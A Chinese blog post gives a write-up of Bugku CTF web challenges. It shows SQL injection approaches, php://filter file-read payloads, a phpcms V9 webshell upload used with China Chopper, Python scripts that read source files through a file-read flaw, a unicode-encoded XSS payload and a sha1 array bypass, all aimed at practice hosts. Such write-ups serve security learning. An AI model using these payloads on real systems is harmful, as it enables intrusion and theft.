Sky's blog

Bugku-writeup

Word count: 1,482 / Reading time: 6 min
2017/06/16 Share

0x00 签到题

没什么好说的,自己加群吧

0x01 web2

查看源代码就有flag,不解释

0x02 文件上传测试


直接改后缀
即可拿到flag

0x03 计算题

1
<input type="text" class="input" maxlength="1" />

就是个前端限制,把maxlength改成99,直接做数学题吧,出flag

0x04 web3

查看源代码,unicode编码转化,在线有工具,转了就出flag

0x05 sql注入

带回显的宽字节注入,按照套路吧,爆库名,表名,字段名都告诉你了,爆出库名即可,后面的套路省略……

0x06 sql注入1

过滤很严,直接注入不太现实,但是waf源码已经给你了,审计一下
发现这个过滤,可以过滤html标签,所以想到用<>截断(我本能的尝试%00截断,好像也可以……)
然后你就可以随心所欲的注入了,爆出库名即可
后面的套路省略……

0x07 你必须让他停下

这个题意义也不大,抓包即可,发送至repeater,不断go,即可看到flag……

0x08 本地包含

题目来自百度杯的爆破1,但是这题真的是本地包含吗= =
这里用到PHP一个比较有意思的变量$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
然后利用var_dump($GLOBALS),便可得到所有值,其中就有flag
所以构造payload: http://baohan.post.bugku.com/?hello=$GLOBALS
即可得到flag

0x09 变量1

审计代码,关键点

1
2
3
4
5
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}

那么这个正则表达式什么意思呢?
/^\w+$/ :
两个/ / 表明正则表达式的开始与结束
^开始字符,$结束字符
\w 包含【a-z,A-Z,_,0-9】中的字
+代表可以有一个,或多个\w
然而这并没什么用……因为我发现一个更好的点:

1
eval("var_dump($$args);");

发现有$$双重定义,想到PHP有$GOLABLES变量可以包含所有变量所以输入
payload: http://a.post.bugku.com/index1.php?args=GLOBALS
做完后一度怀疑本地包含那题放错了……

0x0A web4

他让看源代码就看呗,一大串urlencode
丢去解码,得到:

然后把67d709b2b54aa2aa648cf6e87a7114f1丢进submit就Ok了

0x0B web5

查看源代码,一大波JSPFUCK,丢进控制台即可得到Flag

0x0C flag在Index里

点进去,让我click它,我就点了,然后发现url里有读文件,想到题目,flag在Index里,就直接读index好了,
payload:http://b.post.bugku.com/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码,即可得到Index源码:

1
2
3
4
5
6
7
8
9
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}

不用我说,你也看见flag了……

0x0D phpcmsV9

这题直接去百度漏洞
得知前台注册页面有getshell
在此引用Bugku现成的小马

抓包,复现漏洞:

注意用户名什么的别重复了……不然失败的……
重点已经用黄色标出了,然后上传成功
中国菜刀闪亮登场

直接在根目录拿到flag……
(记本渣第一使用中国菜刀:))

0x0E Web6

这种类型的题做了很多遍了……先看一下源码,

然后再去看Network

满满的都是套路,意思就是post上去的变量margin的值等于flag base64解码后的值,即可获得flag,于是写了一个python脚本:

1
2
3
4
5
6
7
8
9
10
11
import requests
from base64 import b64decode
s=requests.Session()
a=s.get('http://c.bugku.com/web6/')
bs=a.headers['FLAG']
flag=b64decode(bs)
flag=(flag.split(':')[1])[1:]
flag=b64decode(flag)
payload={'margin':flag}
r=s.post('http://c.bugku.com/web6/',data=payload)
print r.text

即可得到flag

0x0F cookies欺骗??

看到url就感觉不对
http://c.bugku.com/web11/index.php?line=&filename=a2V5cy50eHQ=
想到又是一个读文件,把filename解码,得到keys.txt
那就试试index.php
将其base64
aW5kZXgucGhw
故得到payload:
http://c.bugku.com/web11/index.php?line=&filename=aW5kZXgucGhw
查看源代发现了php的开头……看到Line,猜想是一行一行读的
故试了试payload:
http://c.bugku.com/web11/index.php?line=1&filename=aW5kZXgucGhw

发现猜想正确,写一个python脚本得到所有的Index源码

1
2
3
4
5
6
7
8
9
# -*- coding: utf-8 -*- 
import requests
cookies = {'margin': 'margin'}
for i in range(0,20):
url =
'http://c.bugku.com/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
wp = requests.get(url,cookies=cookies)
print wp.content
print 'over'

即可得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}

发现一个keys.php,果断读起来,得到源码

1
$key='KEY{key_keys}';

得到flag

0x10 XSS

上来瞎测试
Payload: view-source:http://103.238.227.13:10089/?id=sky

发现注入点在这里,然后看看过滤了啥
结果发现被过滤了

于是想到编码绕过,用了unicode编码,最后payload如下:
http://103.238.227.13:10089/?id=\u003cimg%20src=1.jpg%20onerror=eval(alert(_key_));\u003e
(注意加eval,不然可不会自动被替换哦~)
即可得到flag

0x11 各种绕过哟

先审计代码

1
2
3
4
5
6
7
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';

找到两个不相同的uname和passwd,他们的sha1相同,乍一看不太实际,然后想到sha1()函数的漏洞绕过:由于sha1()函数无法处理数组类型,将报错并返回false,故而(false===false)if 条件成立,获得flag。
Payload:

注意:uname和id是get类型,passwd是Post类型……我一开始都以为是get,就一直在刷url……还觉得奇了怪了……(火狐的hackbar真是个好东西)

剩下题目我们下周见= =

CATALOG
  1. 1. 0x00 签到题
  2. 2. 0x01 web2
  3. 3. 0x02 文件上传测试
  4. 4. 0x03 计算题
  5. 5. 0x04 web3
  6. 6. 0x05 sql注入
  7. 7. 0x06 sql注入1
  8. 8. 0x07 你必须让他停下
  9. 9. 0x08 本地包含
  10. 10. 0x09 变量1
  11. 11. 0x0A web4
  12. 12. 0x0B web5
  13. 13. 0x0C flag在Index里
  14. 14. 0x0D phpcmsV9
  15. 15. 0x0E Web6
  16. 16. 0x0F cookies欺骗??
  17. 17. 0x10 XSS
  18. 18. 0x11 各种绕过哟